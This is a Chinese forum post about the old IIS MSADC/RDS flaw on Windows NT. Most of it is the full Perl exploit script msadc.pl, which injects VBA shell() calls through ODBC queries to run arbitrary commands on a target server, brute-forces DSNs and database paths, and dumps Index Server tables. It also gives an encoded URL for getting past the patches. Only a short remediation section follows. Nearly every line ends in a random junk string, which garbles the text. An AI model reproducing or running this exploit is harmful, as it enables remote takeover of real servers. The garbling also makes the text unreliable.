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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 6nDV1O5  
OYM@szM  
涉及程序: =9L$L|W  
Microsoft NT server {-9jm%N  
^\ ?O4,L  
描述: 1{pmKPu  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 M_B:{%4  
z2ms^Y=j  
详细: Ap&)6g   
如果你没有时间读详细内容的话,就删除: Uts"aQ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll "wH)mQnd  
有关的安全问题就没有了。 HDM<w+ZxX  
L~{_!Q  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 LiDvaF:@L!  
dGZntT 2D  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 RhF>T&Q  
关于利用ODBC远程漏洞的描述,请参看: gOT+%Ab{_  
)/4(e?%=  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm | sqZ$Mu  
R~L0{` 0  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 tc_f;S`k  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp wYeB)1.  
h*0S$p<[1  
这里不再论述。 {s,+^7  
<j}lp-  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 0?7XtC P<  
t^=U*~  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset mIZwAKo  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! P`$12<\O1  
Ocg"M Gb  
^s7,_!.Pq  
#将下面这段保存为txt文件,然后: "perl -x 文件名" %k f>&b,Mi  
`T ^G^7&  
#!perl >: 0tA{bV  
# 1,2EhfX|s  
# MSADC/RDS 'usage' (aka exploit) script O(2cWQ  
# BOlAm*tFt  
# by rain.forest.puppy i< (s}wg  
# QrD o|GtE  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me t$& Qv)  
# beta test and find errors! nR \'[~+  
${~|+zdB  
use Socket; use Getopt::Std; Itm8b4e9;  
getopts("e:vd:h:XR", \%args); &0N<ofYX  
~+D*:7Y_  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; E ?2O(  
rt]S\  
if (!defined $args{h} && !defined $args{R}) { [c K^+s)N  
print qq~ *#>F.#9  
Usage: msadc.pl -h <host> { -d <delay> -X -v } c"YXxA J  
-h <host> = host you want to scan (ip or domain) I"L;L?\S  
-d <seconds> = delay between calls, default 1 second $X`y%*<<v  
-X = dump Index Server path table, if available CF y}r(q  
-v = verbose $KV&\Q3\0  
-e = external dictionary file for step 5 KcGsMPJ  
wn +FTqj  
Or a -R will resume a command session BJjx|VA+  
ClW'W#*(Y  
~; exit;} 2)iD4G`  
8$P>wCK\l  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; .r|*Ch#;P  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} jX=lAs~6  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} @ $cUNvI  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); `cP <}^]  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} yT /EHmJ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } qG8s;_G  
r >{G`de4  
if (!defined $args{R}){ $ret = &has_msadc; 0V,Nv9!S  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} )yee2(S  
`qpc*enf0  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" MKGS`X]<J  
. "cmd /c "; ={(j`VSUX0  
$in=<STDIN>; chomp $in; Q}%tt=KD  
$command="cmd /c " . $in ; Hy; Hs#  
Y8s;w!/  
if (defined $args{R}) {&load; exit;}  {E9v`u\  
~9pM%N V  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; l?N`{ ,1^  
&try_btcustmr; bPD)D'Hs  
9 wa,k  
print "\nStep 2: Trying to make our own DSN..."; ]o.vB}WsY  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; \9c$`nn  
,+/zH'U}  
print "\nStep 3: Trying known DSNs..."; jrJR1npB  
&known_dsn; X'sEE  
U)jUq_LX  
print "\nStep 4: Trying known .mdbs..."; _]#klL  
&known_mdb; =6nD0i 9+  
8m=Z|"H@  
if (defined $args{e}){ u4'z$>B  
print "\nStep 5: Trying dictionary of DSN names..."; O??vm?eo  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 'E]A.3-Mt  
Ng<1Sd|MV  
print "Sorry Charley...maybe next time?\n"; ~&G4)AM  
exit; $`Nd?\$  
/F[+13C  
############################################################################## tn<6:@T  
M8W#io  
sub sendraw { # ripped and modded from whisker c,5n, i  
sleep($delay); # it's a DoS on the server! At least on mine... tiQ;#p7%  
my ($pstr)=@_; 8:;#,Urr  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  y).P=z  
die("Socket problems\n"); pu;3nUH  
if(connect(S,pack "SnA4x8",2,80,$target)){ y0q#R.TOm  
select(S); $|=1; 4I~i)EKy6  
print $pstr; my @in=<S>; s${_K*g6  
select(STDOUT); close(S); #!#z5DJu  
return @in; !e8i/!}^S  
} else { die("Can't connect...\n"); }} Agy <j   
CmC0k-%w  
############################################################################## BA+_C]%ZJ  
8[5|_Eh+  
sub make_header { # make the HTTP request TQ9'76INb  
my $msadc=<<EOT D[Iq n  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 pG yRX_;  
User-Agent: ACTIVEDATA |HbEk[?^s  
Host: $ip E&2tBrAq  
Content-Length: $clen 2R@%Y/  
Connection: Keep-Alive ! Tfij(91  
}=@zj6AC  
ADCClientVersion:01.06 R_e)mkE  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 W"sr$K2m|  
xb^ Mo.\[  
--!ADM!ROX!YOUR!WORLD! LpWI>sNv  
Content-Type: application/x-varg #ooc)),  
Content-Length: $reqlen :c4kBl%gJ  
HHS45kg[c  
EOT  (K #A  
; $msadc=~s/\n/\r\n/g; h5onRa *7  
return $msadc;} )!-S|s'  
@-6?i)  
############################################################################## 7:o+iP46  
vjTwv+B"  
sub make_req { # make the RDS request Q4%IxR?  
my ($switch, $p1, $p2)=@_; YvTA+yL  
my $req=""; my $t1, $t2, $query, $dsn; 8~5|KO >F  
;nk@XFJ  
if ($switch==1){ # this is the btcustmr.mdb query .cR*P<3O  
$query="Select * from Customers where City=" . make_shell(); JuJ5qIal  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . `pYE[y+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} "6V_/u5M;=  
raQYn?[  
elsif ($switch==2){ # this is general make table query s/ S+ ec3  
$query="create table AZZ (B int, C varchar(10))"; q3\!$IM.  
$dsn="$p1";} \{>eOD_  
FOp_[rR   
elsif ($switch==3){ # this is general exploit table query MVAc8dS  
$query="select * from AZZ where C=" . make_shell(); Ihef$,  
$dsn="$p1";} LXxl?D  
lIl9ypikg  
elsif ($switch==4){ # attempt to hork file info from index server 7.|S>+Q  
$query="select path from scope()"; `Kp}s<  
$dsn="Provider=MSIDXS;";} s5.k|!K  
ayH>XwY6  
elsif ($switch==5){ # bad query y''V"Be  
$query="select"; <4NQL*|>  
$dsn="$p1";} R6Pz#`n  
bX{PSjD  
$t1= make_unicode($query); g =\13# F  
$t2= make_unicode($dsn); SRk7gfP*q  
$req = "\x02\x00\x03\x00"; r %xB8e9  
$req.= "\x08\x00" . pack ("S1", length($t1)); j?J=w=.Nx  
$req.= "\x00\x00" . $t1 ; ^K>pT}u  
$req.= "\x08\x00" . pack ("S1", length($t2)); Na;t#,  
$req.= "\x00\x00" . $t2 ; N[{]iQ  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; D[W}[r  
return $req;} K z^hQd  
h>Rpb#]  
############################################################################## )fR1n}#  
UJs?9]x>  
sub make_shell { # this makes the shell() statement j)@oRWL<  
return "'|shell(\"$command\")|'";} 0C7"3l  
+}]wLM}\UF  
############################################################################## @}{VM)Fc+  
I)uASfT$  
sub make_unicode { # quick little function to convert to unicode (QhAGk&lu  
my ($in)=@_; my $out; ]eL~L_[G\  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } }'_:XKLj  
return $out;} -(  ER4#  
h=mv9=x  
############################################################################## <on)"{W13  
Ug `   
sub rdo_success { # checks for RDO return success (this is kludge) %J3lK]bv(  
my (@in) = @_; my $base=content_start(@in); A3!2"}L  
if($in[$base]=~/multipart\/mixed/){ $YR{f[+L w  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} oG9SO^v_  
return 0;} D2-O7e  
L%4tw5*N  
############################################################################## C$0 ITw  
.?7So3   
sub make_dsn { # this makes a DSN for us 2X +7b M  
my @drives=("c","d","e","f"); $pJ3xp&  
print "\nMaking DSN: "; {B v`i8e  
foreach $drive (@drives) { _4S7wOq5  
print "$drive: "; B C&^]M  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ix+x3OCip  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 33S`aJ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); @) ]t8(  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ~l@%=/m  
return 0 if $2 eq "404"; # not found/doesn't exist {.%0@{Y  
if($2 eq "200") { /iTH0@Kw;  
foreach $line (@results) { N}1-2  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} .y(@Y6hO  
} return 0;} n/:Z{  
:'TX"E!  
############################################################################## @~Rk^/0  
?##y`.+O  
sub verify_exists { -kt1t@O  
my ($page)=@_; _2xuzmz0  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @u7%B}q7:  
return $results[0];} vV2o[\o^  
%hrsE5k^,  
############################################################################## RH1U_gp4 ]  
KN|'|2/|  
sub try_btcustmr { l$qmn$Uc  
my @drives=("c","d","e","f"); cbY3mSfn*  
my @dirs=("winnt","winnt35","winnt351","win","windows");  &s_}u%iC  
96k(X LR  
foreach $dir (@dirs) { ~c'\IM  
print "$dir -> "; # fun status so you can see progress + >Fv*lux  
foreach $drive (@drives) { j= p|'`  
print "$drive: "; # ditto DDZTqsws  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; qRWJ-T:!F  
$reqlenlen=length( "$reqlen" ); 047*gn.b  
$clen= 206 + $reqlenlen + $reqlen; (p'/p  
0!)U *+j,  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); -U&098}<K  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} qrOB_Nz  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ([ E#zrz%  
4_Tb)?L+:  
############################################################################## !G@V<'F  
A89Y;_4y  
sub odbc_error { 4 {uJ||!  
my (@in)=@_; my $base; vjY);aQ  
my $base = content_start(@in); }qTv&Z3$  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this k$Nx6?8E  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h/w]  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sT@u3^>  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (gv=P>:  
return $in[$base+4].$in[$base+5].$in[$base+6];} i] V F'tG  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 1 / F<T  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . &4a~6  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} r< N-A?a  
&*h`b{]  
############################################################################## ~r7DEy|+  
noWRYS%  
sub verbose { wK/}E h\^  
my ($in)=@_; 8kKRx   
return if !$verbose; yKel|vM#  
print STDOUT "\n$in\n";} @D( KuF  
\r)_-  
############################################################################## * <Nk%`  
& C!g(fS  
sub save { EVby 9!  
my ($p1, $p2, $p3, $p4)=@_; XL%vO#YT  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; sf=%l10Fk#  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; .CB"@.7  
close OUT;} f[w jur  
G=+!d&mbg  
############################################################################## R|d^M&K,  
i|:: v l  
sub load { )L&n)w  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; y?rK5Yos  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); / i\uwa,  
@p=<IN>; close(IN); 0$Qn#K  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); xV }:M  
$target= inet_aton($ip) || die("inet_aton problems"); Wl@0TUK  
print "Resuming to $ip ..."; S S7D1  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; x|P<F2L  
if($p[1]==1) { |sDG>Zq?  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; `*.r'k2R  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; w%!k?t,*]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); .je~qo )  
if (rdo_success(@results)){print "Success!\n";} 5+#?7J1  
else { print "failed\n"; verbose(odbc_error(@results));}} 10a=YG  
elsif ($p[1]==3){ =2GP^vh  
if(run_query("$p[3]")){ T% jjs  
print "Success!\n";} else { print "failed\n"; }} e%5'(V-y,  
elsif ($p[1]==4){ }-k_?2"A  
if(run_query($drvst . "$p[3]")){ 98<bF{#0WM  
print "Success!\n"; } else { print "failed\n"; }} h[M6.  
exit;} AOq9v~)z-  
3:z4M9f  
############################################################################## U[H+87zg  
N69eI dl  
sub create_table { "m<eHz]D  
my ($in)=@_; FN8=YUYK%  
$reqlen=length( make_req(2,$in,"") ) - 28; o>QFd x  
$reqlenlen=length( "$reqlen" ); DT1i2!  
$clen= 206 + $reqlenlen + $reqlen; Gff[c%I  
my @results=sendraw(make_header() . make_req(2,$in,"")); hA&j?{  
return 1 if rdo_success(@results); UGezo3}  
my $temp= odbc_error(@results); verbose($temp); I*`=[nR  
return 1 if $temp=~/Table 'AZZ' already exists/; a`GN@ 8  
return 0;} E: LQ!  
9|?(GG  
############################################################################## ;Fwm1ezx0  
nATfmUN L  
sub known_dsn { HT1dvC$COo  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go LmT[N@>"  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 8{U]ATx'(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", !Barc ,kA  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); C$]%1<-Iv]  
,sQ0atk7ma  
foreach $dSn (@dsns) { Ra15d^  
print "."; .P0Qs&i  
next if (!is_access("DSN=$dSn")); #E~WVTO w  
if(create_table("DSN=$dSn")){ v;NZ"1=_  
print "$dSn successful\n"; bl+@}+A  
if(run_query("DSN=$dSn")){ GXAk*vS=G  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1zEZ\G  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ,EGD8$RA]  
d >wmg*J  
############################################################################## xSMp[j  
SBYMDKZ  
sub is_access { WEY97_@  
my ($in)=@_; p7ns(g@9  
$reqlen=length( make_req(5,$in,"") ) - 28; !xx> lX5  
$reqlenlen=length( "$reqlen" ); \p=W4W/  
$clen= 206 + $reqlenlen + $reqlen; `!>dbR&1  
my @results=sendraw(make_header() . make_req(5,$in,"")); Jr*S2 z<*  
my $temp= odbc_error(@results); U{:(j5m  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Z2pN<S{5  
return 0;} \w@_(4")Qb  
Rs( CrB/M  
############################################################################## H--*[3".  
ZE3ysLk m  
sub run_query { O+UV\  
my ($in)=@_; Eg- Mm4o  
$reqlen=length( make_req(3,$in,"") ) - 28; 6pdl,5[x-  
$reqlenlen=length( "$reqlen" ); Lb3K};SIV  
$clen= 206 + $reqlenlen + $reqlen; 2 vJ[vsrFv  
my @results=sendraw(make_header() . make_req(3,$in,"")); B$[%pm`'2  
return 1 if rdo_success(@results); $y]||tX  
my $temp= odbc_error(@results); verbose($temp); ?}lpo; $  
return 0;} ~IJZM`gN  
>7v.`m6?H  
############################################################################## g  cK"  
N@du.d:  
sub known_mdb { 1p "EE~ v  
my @drives=("c","d","e","f","g"); i2%m}S;D9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); j*Wh;I+h  
my $dir, $drive, $mdb; BC0c c[x  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; j[=_1~u}  
FsPDWy&x  
# this is sparse, because I don't know of many qzbkxQu]g  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ?GD? J(S  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", gp&& c,  
"\\system32\\certmdb.mdb", \eSk7C  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Hpo?|;3D5  
}+RF~~H/  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", oJ;O>J@c  
"\\cfusion\\cfapps\\forums\\forums_.mdb", {uQ)p=  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", "VVR#H}{  
"\\cfusion\\cfapps\\security\\realm_.mdb",  _I}L$  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", gBiQIhz  
"\\cfusion\\database\\cfexamples.mdb", r(2'0JQ  
"\\cfusion\\database\\cfsnippets.mdb", : R*^Izs=  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", UE$[;Zg  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", !7a^8   
"\\cfusion\\brighttiger\\database\\cleam.mdb", &)f++(i  
"\\cfusion\\database\\smpolicy.mdb", /KvPiQ%  
"\\cfusion\\database\cypress.mdb", m+8b2H:V  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", xS\QKnG.  
"\\website\\cgi-win\\dbsample.mdb", gW pT:tX-  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", qLi1yH  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" IWRq:Gw  
); #these are just {s^ryv_}  
foreach $drive (@drives) { S%gO6&^  
foreach $dir (@dirs){ SlJ/OcAf#  
foreach $mdb (@sysmdbs) { !}Ou|r4_  
print "."; }ok nB  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ F@(}=w^(A  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 2WECQl=r  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ a=T7w;\h  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 1*, ~1!>  
} else { print "Something's borked. Use verbose next time\n"; }}}}} EKS<s82hF&  
W yJfF=<  
foreach $drive (@drives) { A =[f>8  
foreach $mdb (@mdbs) { 96E7hp !:  
print "."; >@89k^#Vc  
if(create_table($drv . $drive . $dir . $mdb)){ 8\V>6^3CD$  
print "\n" . $drive . $dir . $mdb . " successful\n"; e]B<\i\T  
if(run_query($drv . $drive . $dir . $mdb)){ qsRfG~Cg  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; "91At b;hJ  
} else { print "Something's borked. Use verbose next time\n"; }}}} W]Y!ZfGnN  
} LW 3J$Am  
}(%}"%$  
############################################################################## `L[32B9  
:a!a  
sub hork_idx { MdboWE5i  
print "\nAttempting to dump Index Server tables...\n"; Iybpk?,M+  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 1~u\]Zi=D  
$reqlen=length( make_req(4,"","") ) - 28; -V_S4|>   
$reqlenlen=length( "$reqlen" ); 1Y"qQp  
$clen= 206 + $reqlenlen + $reqlen; Py0 i%pZ  
my @results=sendraw2(make_header() . make_req(4,"","")); jG ;(89QR/  
if (rdo_success(@results)){ Y'%I at(z  
my $max=@results; my $c; my %d; @.@#WHde  
for($c=19; $c<$max; $c++){ @' :um  
$results[$c]=~s/\x00//g; [_G0kiI}W"  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ~zC fan/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; %c2i.E/G  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; v6Wf7)d/1  
$d{"$1$2"}="";} QAnfxt6  
foreach $c (keys %d){ print "$c\n"; } UT7lj wT  
} else {print "Index server doesn't seem to be installed.\n"; }} uqeWdj*Y  
Kf<_A{s  
############################################################################## E_uH' E  
>5:e1a?9  
sub dsn_dict { fTtSx_}3H  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); vjRD?kF  
while(<IN>){ x(N} ^Hu  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; X.Y)'qSf  
next if (!is_access("DSN=$dSn")); 8/$iCW  
if(create_table("DSN=$dSn")){ P2RL\`<"  
print "$dSn successful\n"; He;%6OG{  
if(run_query("DSN=$dSn")){ ]H'82a  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *G|]5  
print "Something's borked. Use verbose next time\n";}}} l8lR5<  
print "\n"; close(IN);} :>ST)Y@]w  
< io8 b|A  
############################################################################## %= ;K>D  
:@A;!'zpL  
sub sendraw2 { # ripped and modded from whisker OWfj<#}t+  
sleep($delay); # it's a DoS on the server! At least on mine... :%]R x&08  
my ($pstr)=@_; uQ+$HzxX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 19`0)pzZ*P  
die("Socket problems\n"); YVp0}m  
if(connect(S,pack "SnA4x8",2,80,$target)){ :2gO) 'cD  
print "Connected. Getting data"; ]-L E'Px|  
open(OUT,">raw.out"); my @in; 5)i0g  
select(S); $|=1; print $pstr; I T2sS6&R  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} b>._ r&.  
close(OUT); select(STDOUT); close(S); return @in; _u5U> w  
} else { die("Can't connect...\n"); }} F>R)~;Ja  
LB+=?Mz V  
############################################################################## %b4(wn?n:B  
I;Y`rGj  
sub content_start { # this will take in the server headers r(CL=[  
my (@in)=@_; my $c; z{WqICnb  
for ($c=1;$c<500;$c++) { ToM*tXj  
if($in[$c] =~/^\x0d\x0a/){ yvwcXNXR@  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } o[6"XJ  
else { return $c+1; }}} 6RodnQ  
return -1;} # it should never get here actually ~ZN9 E-uL  
gq &85([  
############################################################################## DTVnQC  
qiJ{X{lI  
sub funky { 8?pZZtad  
my (@in)=@_; my $error=odbc_error(@in); }}R!Y)  
if($error=~/ADO could not find the specified provider/){ {0 {$.L  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; rrRC5h  
exit;} "evV/Fg (  
if($error=~/A Handler is required/){ &" n9,$  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;KN@v5`p  
exit;} 3_/d=ZI\  
if($error=~/specified Handler has denied Access/){ E zUjt)wF  
print "\nServer has custom handler filters (they most likely are patched)\n"; ?V&a |:N9  
exit;}} nEr, jd~f  
K6hN N$F!  
############################################################################## +q%goG8  
IvH+94[)  
sub has_msadc { jK1! \j  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); El} z^e  
my $base=content_start(@results); _%!hkc(  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); /omVM u  
return 0;} LK~ 0ck7  
`q*ABsj  
######################## Z] }@#/ n  
IW*.B6Hw8  
.p_$]  
解决方案: ![jP)WgF  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll v 0H#\p  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 1XRVbQt  
Q5JeL6t  
拿出来充数 哈哈
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